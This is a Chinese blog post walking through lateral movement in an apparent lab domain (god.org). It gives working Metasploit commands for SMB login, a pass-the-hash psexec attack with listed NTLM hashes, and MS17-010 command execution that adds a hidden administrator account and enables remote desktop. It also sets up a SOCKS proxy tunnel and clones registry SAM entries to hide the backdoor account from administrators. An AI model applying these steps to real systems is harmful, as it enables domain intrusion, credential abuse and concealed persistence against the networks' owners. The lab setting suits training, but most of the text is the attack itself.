前言

上一篇文章中已获取了关于域的一些基本信息,在这里再整理一下,不知道信息收集的小伙伴可以看回上一篇文章哦

域:god.org

域控 windows server 2008:OWA,192.168.52.138

域主机 windows server 2003:ROOT-TVI862UBEH,192.168.52.141

win7内网ip:192.168.52.143

win7 username : Administrator domain : GOD password : hongrisec@2022(因为登陆域控机win2008的时候会要求改密码,我这个改成hongrisec@2022)

LM:edea194d76c77d87923b4276177762ae;NTLM:8c535a2d84c3b21059d667639bb89db5


横向渗透

通过win7的nmap对域成员进行漏洞端口扫描,使用 where nmap 可以得到nmap的安装路径

nmap.exe --script=vuln 192.168.52.141

存在ms08-067(CVE-2008-4250)、ms17-010(CVE-2017-0143)

配置路由信息

1 meterpreter > run autoroute -s 192.168.52.0/255.255.255.0

使用 scanner/smb/smb_login 验证SMB登录

use scanner/smb/smb_login
set RHOSTS 192.168.52.141
set SMBPass hongrisec@2022
set SMBUSER Administrator
set SMBDomain GOD
run

说明win7的账号密码对域成员也有效

至此,域成员存在漏洞,且知道用户名、密码、域,使用漏洞进行渗透获取域内使用权限

因为是内网windows系统,这里我选择用哈希传递攻击,使用的模块是 exploit/windows/smb/psexec

use exploit/windows/smb/psexec
set payload windows/shell/bind_tcp
set RHOSTS 192.168.52.141
set SMBDomain god
set SMBUser Administrator
set SMBPass edea194d76c77d87923b4276177762ae:8c535a2d84c3b21059d667639bb89db5    # 这里是用哈希密码传递,冒号前面的是LM哈希值,冒号后面的是NTLM哈希值
run

查看权限 whoami

可以看到,是管理员的最高权限,这里就不需要提权了,至此,域主机已被攻破!

拿下域成员的第二种姿势

配置路由信息

1 meterpreter > run autoroute -s 192.168.52.0/255.255.255.0

使用auxiliary/scanner/portscan/tcp模块进行域成员的端口扫描

1 use auxiliary/scanner/portscan/tcp
2 set rhosts 192.168.52.141
3 set ports 445
4 run

扫描445端口是否开启

说明445端口开启,使用ms17-010永恒之蓝模块

1 use auxiliary/scanner/smb/smb_ms17_010
2 set rhosts 192.168.52.141
3 run

扫描是否存在永恒之蓝漏洞

证明存在永恒之蓝漏洞,由于模块exploit/windows/smb/ms17_010_eternalblue 只支持x64,而我们的内网域成员系统是x86,故不能使用该模块

我们选择命令行执行模块auxiliary/admin/smb/ms17_010_command,创建新用户并进行远程登录。

1 use auxiliary/admin/smb/ms17_010_command
1 创建用户
2 set command 'net user spmonkey$ spmonkey@123 /add' # 带$代表创建隐藏用户,为的是不让目标发现咱们
3 set rhosts 192.168.52.141
4 run

可以看到,创建成功了,提升权限至管理员组,在这个基础上直接运行下面命令

1 提升权限
2 set command net localgroup administrators spmonkey$ /add
3 run

可以看到,命令执行成功了。

使用windows命令net user可以看到所有用户:

发现并没有刚才咱们创建的用户,是真的没有吗?不,因为我们创建的是隐藏用户,所以命令行命令是无法看到咱们刚才创建的新用户的,可以使用远程登录看一下是否创建成功。

1 开启远程桌面服务
2 set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
3 run

启动成功,搭建代理隧道:

1 use auxiliary/server/socks_proxy
2 set srvhost 192.168.200.128
3 run

vim /etc/proxychains.conf

添加如下内容:
socks5 192.168.200.128 1080

通过命令远程登录桌面:proxychains rdesktop 192.168.52.141

成功进入系统。

虽然我们在使用 net user 命令时没有看到我们的账号,但是在计算机管理依旧可以看到我们的账号。

所以我们需要进一步隐藏用户。

注册表隐藏法:

一、给管理员注册表权限

1、开始 -> 运行
2、输入 regedt32.exe 回车,进入注册表
3、依次点击 HKEY_LOCAL_MACHINE\SAM\SAM 后右键,选择 Permissions
4、选择 administrators 账户,勾选 Full Control 最后点击应用 + 确定

重新打开注册表后就可以看到SAM下的其他目录了。

二、将隐藏账户替换成管理员

1、依次点击 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

2、选择咱们的隐藏用户 "spmonkey$",在右边显示的键值中的"类型"一项显示为 0x3f2,向上来到 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 处,可以找到 000003F2 这一项,这两者是相互对应的,隐藏账户 "spmonkey$" 的所有信息都在"000003F2"这一项中。同样的,我们可以找到"administrator"账户所对应的项为"000001F4"。

3、将 "spmonkey$" 的键值导出为spmonkey$.reg,同时将"000003F2"和"000001F4"项的F键值分别导出为user.reg,admin.reg。

4、用"记事本"打开admin.reg,将其中"F"值后面的内容复制下来,替换user.reg中的"F"值内容,完成后保存。接下来进入"命令提示符",输入"net user piao$ /del"将我们建立的隐藏账户删除。最后,将piao$.reg和user.reg导入注册表,至此,隐藏账户制作完成。

三、取消管理员注册表的权限

这里和第一个操作一样,取消 Full Control 的勾选就可以了

尾声

至此隐藏用户就生成好了。这里所涉及到的知识点比较多,各位读者不懂的可以联系作者QQ:1015468607  备注好自己的来意喔!


彩蛋

域主机 windows server 2003 存在ms17-010漏洞,可以通过ms17-010漏洞进行攻击

注:msfconsole中的ms17_010_eternalblue模块仅支持x64,而咱们的目标域主机是x86的,所以这里不适用

使用模块 ms17_010_psexec 进行攻击,这里选择这个模块的原因:在域内,且存在ms17-010漏洞

use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.52.141
set SMBDomain GOD
set SMBPass edea194d76c77d87923b4276177762ae:8c535a2d84c3b21059d667639bb89db5
set SMBUser Administrator
run

域主机蓝屏

msfconsole报错

至此攻击成功,没有反弹shell,因为目标域主机已蓝屏!

 

最新文章

  1. web自动化测试中绕开验证码登陆的方式
  2. jQuery插件-表单验证插件-Validation
  3. Object类型与Array类型
  4. jQuery组件系列:封装标签页(Tabs)
  5. Odoo constraints 使用教程
  6. 如何在使用了updatepanel后弹出提示信息
  7. 洛谷 P1063 能量项链
  8. 【动态规划】POJ 1161 & ZOJ1463 & XMU 1033 Brackets sequence
  9. Android ActionBar详解(三):ActionBar实现切换Tabs标签
  10. C# - 线程操作
  11. Hibernate(四)
  12. 从Openvswitch代码看网络包的旅程
  13. 关于 Expression is not assignable 错误
  14. python中变量命名的基本规则,标识符和关键字
  15. Android 数据存储03之SQLite
  16. 短网址(short URL)系统的原理及其实现
  17. 2018.09.09 cogs693. Antiprime数(搜索)
  18. DruidDataSource配置
  19. spring-security-4 (1)介绍
  20. SVG与HTML、JavaScript的三种调用方式

热门文章

  1. IDEA 开发工具-插件{[转载]
  2. 【RocketMQ】消息的消费
  3. Charles 某音最新版本抓包环境搭建
  4. 参考MySQL Internals手册,使用Golang写一个简单解析binlog的程序
  5. 正则表达式实战:最新豆瓣top250爬虫超详细教程
  6. 新一代大数据任务调度系统 - Apache DolphinScheduler 1.3.4 发布,推荐下载
  7. django中的自定义分页器
  8. Unity获取脚本的CustomEditor(自定义编辑)数据
  9. 10种有用的Linux Bash_Completion 命令示例
  10. js运算符和逻辑分支